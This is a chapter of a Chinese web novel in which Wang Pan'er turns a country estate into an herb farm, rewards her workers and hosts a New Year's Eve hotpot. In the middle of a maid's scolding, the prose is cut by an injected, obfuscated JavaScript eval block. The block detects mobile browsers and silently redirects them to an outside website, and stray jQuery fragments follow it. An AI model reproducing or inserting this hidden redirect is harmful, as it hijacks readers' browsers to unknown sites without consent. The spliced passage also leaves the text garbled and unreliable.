26. 暗流涌动二

作品:《我以药香入山河

    因着庄子有些偏僻,沐川还想要给姐妹俩选上一辆马车。


    王盼儿把头摇成拨浪鼓:“不成不成,喂养马驹成本极高,过于铺张了。”


    最终,马车没买,沐川牵了一匹毛驴板车来,王盼儿才欣然接受,捆在庄子门侧的茅棚中。


    这座新买在郊外的庄子比王盼儿预计的还要大,比标准的田径场的两倍还有余。推开门是前厅,用于待客、用餐等,还有一个收藏厅,陈列柜打造的极其精巧,镂空的雕花无一不显示原庄主的审美与财气,可惜搬空了,光溜溜的柜子,王盼儿没有东西可以摆上去。


    再往里是亭台景观,有假山水池,有花草树木,满是闲趣,一看便知是大户人避寒度假之地。


    最里头的才是主屋,分为东西两个厢房,西厢房的角落划了一小块区域作为下人的空间,所以东厢房稍稍大上一些。


    王盼儿理想的格局是穿过前厅能到主屋,主屋再往里规划成中草药的田地。可惜盖屋舍需要点时间,泉眼也在桩子最里头,王盼儿思虑再三,觉得重新造屋舍不划算,还是把假山水池、花草树木推平成田地就好了。


    沐川陪着王盼儿仔仔细细在庄子内逛了一圈:“你们姐妹常住,你们住大的东厢房,西厢房就留给我用。还有你改造的话,这些景观石头花花草草都能卖钱,别让人给直接拉走了。”


    王盼儿拿着手肘拱了沐川一道:“好家伙,你是我肚中蛔虫么,怎么知道我想直接叫人来拉。”


    沐川被拱出去半步,理直气壮叫嚣:“给你省了钱,请我吃饭!”


    这两日沐川帮了许多,只提出这么个小要求,王盼儿忙不迭应下:“好好好。”


    吃完饭,沐川差不多得回去找随从们了。


    千机万应阁刚刚起步,王逍瑶忙着拉业务,沐川本想与自己的关门弟子打个招呼告个别,可惜弟子终日不见人影,只得提笔帮王逍瑶的千机万应阁在药膳馆的铺子门口贴了一张推广告示后,看着王盼儿恋恋不舍地走了。


    王逍瑶忙完后,知道姐姐买了个庄子,兴奋极了,跑到花园里面撒丫子打滚了好一阵,见到里屋温泉还直接脱了鞋袜,拉着王盼儿一边泡脚,一边感慨:“假山花园这么好看,改了好可惜。”


    王盼儿不可置否:“不过我本意就是想要一块地种草药,选中这间庄子,是因为这间庄子上有温泉,错过这村就没这店了。”


    “好吧。”王逍瑶虽舍不得这个布局精美的假山花园,但总归正事重要,“风景随处可见,若是以后赚了更多钱,再重新规划也不迟。就是可惜来我这儿记了名的女郎多,派发任务的买家少,我还得再多跑跑,打开路子才行,没时间陪着盼儿姐改庄子了。”


    “无碍的,要是没有你,我哪里选的了如此得力的掌柜。”王逍瑶比她刚穿来的时候,个子窜了有十来公分,快和她一般高了,再窜一下,估摸着要直往一米七追。


    不过王逍瑶长的再高,王盼儿都还会忍不住总要戳戳她的发髻和脸蛋:“我们三丫现在也是能独当一面的小女郎了。”


    改庄子是大事,送走泡脚泡得尽兴的王逍瑶回房休息后,王盼儿唤来了庄子上的一干仆从。


    掌管前院和外务的是个约莫五十岁的男管家,内务膳食则是个浑圆的嬷嬷负责,与管家差不多的年岁。


    面见新主的时候,管家还带上了庄内收成与开支的账本来。


    到是思虑周全。


    王盼儿捧着账册随意翻了翻。


    主家不常住于庄内,支出的大头是打理庄内的景观,花草树木皆是名贵品类,养护工作不可懈怠。人员开支不算大,伙食费略高一些,丫鬟小厮各个都与消瘦不沾边。


    不过民以食为天,吃喝拉撒吃占头位,王盼儿并不会在此事上做多计较。


    既是合理范畴内,又为庄内熟手,王盼儿懒得折腾,便决定留下了这一干人等。


    嬷嬷嘴甜,夸着新主心善后,带着人等下去了。管家则领了王盼儿交代的,找人来将景观花园改成田地的活计。


    有沐川提醒在前,王盼儿让管家特意先找人来拉了假山石头和那些名贵的植物走。


    偌大的花园,卖了八百两,比盘下个药膳馆还贵。王盼儿啧啧感叹了一下有钱人的奢靡生活。如此抵扣下来,手上又有了一些余钱。


    除却院子需要改造,厢房的屋舍,格局家具都极为讲究,王盼儿挑不出毛病,便要求管家看着那些请来的改造药园子的工匠,让丫鬟小厮及时打扫了庄子的卫生,自己去采买生活用品,比如被褥床单等。


    等庄子彻底改完,已经到了腊月底。


    王盼儿到天成元钱庄委托许掌柜给沐川去了封信,叫沐川带着他的随从们一道来庄子上吃年夜饭,又马不停蹄赶到药膳馆,给还在忙活的伙计们发了“年终奖”。


    女郎们拿到接近两个月的例钱,无不欢呼雀跃。


    王盼儿许下承诺:“我们干到腊月二八闭店,初五重新开业,洗刷了锅灶一起迎财神。来年大伙儿继续跟着我干,只要铺子经营的好,大家好日子少不了!”


    “我在药膳馆五个月的工钱,抵得上我家那位一年了。”


    “就是,什么男耕女织,男主外女主内,都是诓骗我们的话,出来干活可比在家看人脸色快活多了,如今该叫他们相妻教子去。”


    “自从拿了第一个月工钱,婆母再也没敢对我说过重话,我每日回家,都是热饭热菜等着我上桌。”


    王盼儿看着女郎们七嘴八舌地议论,心叹:经济基础决定上层建筑,你们算是切身体会到了。


    田大娘刚来的时候面黄肌瘦,如今容光焕发,和黎清宴一人扛着一大袋子年货要回去大安镇过年。


    腊月二十八这日,沐川回了信,点名想要吃火锅。


    沐川极有分寸,平日除了喜欢耍耍王盼儿看来非常可爱的小性子外,从没提过出格的要求。王盼儿向来都惯着他,要吃火锅,那必须吃。


    庄子上的仆人也被王盼儿准假放了回去。


    管家和嬷嬷是家生子,主家在哪儿,他们家就在哪儿,算上嬷嬷的儿子,还有另外两个已经没有去处的丫鬟,剩了五人。


    王盼儿数着指头清点了一番,加上沐川的随从十余人,将近有二十来人能一起过新年。


    她不想同大老爷们挤在一块抢肉吃,也不想和不熟悉的仆人一道,便准备分了三口锅来炒底料。


    姐妹二人同沐川在饭厅,仆人们回自己院落吃去,备够酒与肉,必须管饱。


    大年三十当天,王盼儿刚刚架起锅,沐川他们的人就陆陆续续地来了。


    随从们跟着沐川一道,把王盼儿当自己人,见礼后便也上手跟着王盼儿姐妹一道备菜洗洗刷刷。


    一时间,整个庄子其乐融融。


    倒是有丫鬟不乐意了,将菜盆哐当往地上一扔,溅得一随从大哥满脸冷水。


    “啊?”大哥一脸懵懂,不明所以,“发生啥了啊大妹子?”


    丫鬟言之凿凿:“主家明明答应腊二八开始休沐,年三十晚喊这么多人来吃饭,又叫我们做事。”


    莫风给大哥拿了块擦脸的布,不满道:“大家都在做事,况且这些东西你不吃么?”


    眼看着硝烟味泛起,王盼儿赶紧打圆场,一个眼神唤来嬷嬷。


    嬷嬷赶忙上前,将丫鬟带下去,一路训话:“主家自己都在干,你要知足,还想别人好酒好肉伺候你吃了?没这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554491|186872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    命就别做这不切实际的梦。”


    过年整这出着实令人扫兴,王盼儿平日没有苛待这些下人们,过年大家一起准备年夜饭,多洗切了点菜都要甩脸子,这丫鬟当真计较。


    王盼儿神色不虞,吩咐管家把属于他们的那份食材拿走去,别在前厅出现,又整出幺蛾子来讨人厌烦。


    仆人们走光了,衔影才出声:“王姑娘该是要给这些没数的下人立立规矩,没有规矩不成方圆呐。”


    “在理。”王盼儿一边搅动着底料,一边回复道,“我嫌麻烦,想着熟手留下来方便些,就由着他们去,岂能料到他们会我整这出。算了,大过年的,先不管他们,我们自己乐呵自己的。”


    沐川最后一个到。


    他手捧暖炉,身披雪白的裘衣,发丝高高束起,打理得一丝不苟,活像个下凡来渡劫的谪仙。


    太好看了!


    王盼儿两眼发直,目光随着这位小谪仙由远走近,然后上前接过他的手炉和披风,进了屋:“你来的刚好,差不多能开饭了!”


    随从们见人,立即风风火火将锅和锅架一起扛进了房间,把菜整整齐齐摆上桌面,红油锅的香气瞬间四散开。


    王盼儿忍不住调侃:“你今日穿的稀罕,跟白孔雀似的,可惜马上就要染一身油辣子的味。”


    沐川甩了个眼刀,轻哼一声,傲娇地转了头,高马尾随着他的动作,甩在王盼儿脸上,带着一股清雅的檀香。


    王盼儿本能抓住了发丝,反应过来后,揪到鼻孔边嗅了嗅,怪笑两声:“好个俏郎君!”


    旁边随从们也跟着一起呲哇乱叫一通。


    不过沐川给随从们念叨了好几日火锅,他们期待值早就拉满。随着锅底开始翻涌,也不再去闹开屏的沐川,只剩不停吞咽疯狂分泌唾液的动作。


    王盼儿进卧房,拿了一叠红包出来,见人就发,金额不多,一个包一两银子,图个好彩头。虽然仆人闹的不愉快,王盼儿也大气地留了十一份下来。


    随从们笑的牙不见眼。


    “多谢王姑娘,连我们也有!”


    “在王姑娘家吃,又领王姑娘的红包,除了回家,哪里还有这待遇。”


    给沐川和王逍瑶的红包,是另外打的纯金平安扣。


    王逍瑶也精心备上了礼。


    给王盼儿的是玉簪,给沐川的是玉佩,都特意选了祥云纹底的样式:“感谢盼儿姐和沐川哥的再造之恩,没有你们,如今我恐怕只是黄土下的一副枯骨。”


    玉饰成色莹润通透,一看就下了血本的。


    妹妹心意,王盼儿不推辞,夸赞:“逍瑶常跟着游夫人一道,眼光突飞猛进呀,这发簪我甚是喜欢。”


    沐川也给足了面子,将平安扣与玉佩一道挂在腰带上,也不管一金一玉搭在一起略显滑稽。


    王盼儿向着沐川伸手:“我们的呢,不会没有吧!”


    “哪能!”沐川从怀中勾出两串佛珠,“这是我去寺中求主持亲自开光加持的十八籽,来年万事顺意!”


    难怪来得最迟,身上还带了檀香。


    随从们又开始呲哇乱叫起来。


    衔影最能来事,叫嚣道:“我可从来没收到过公子红包,我们的呢!”


    沐川被他们吵的翻了白眼:“王姑娘不是给你们包了么!你们吃她的拿她的,给她准备的呢?”


    众人静默。


    衔影不情不愿,老老实实地掏口袋。


    莫风他们更离谱,完全忘了包红包这个礼节,眼下手中只有王盼儿包的这份红纸,索性拆了一分为二,重新包了银元给回二位姑娘。


    王盼儿与王逍瑶收下了随从们的红包,啼笑皆非。


    实乃人才!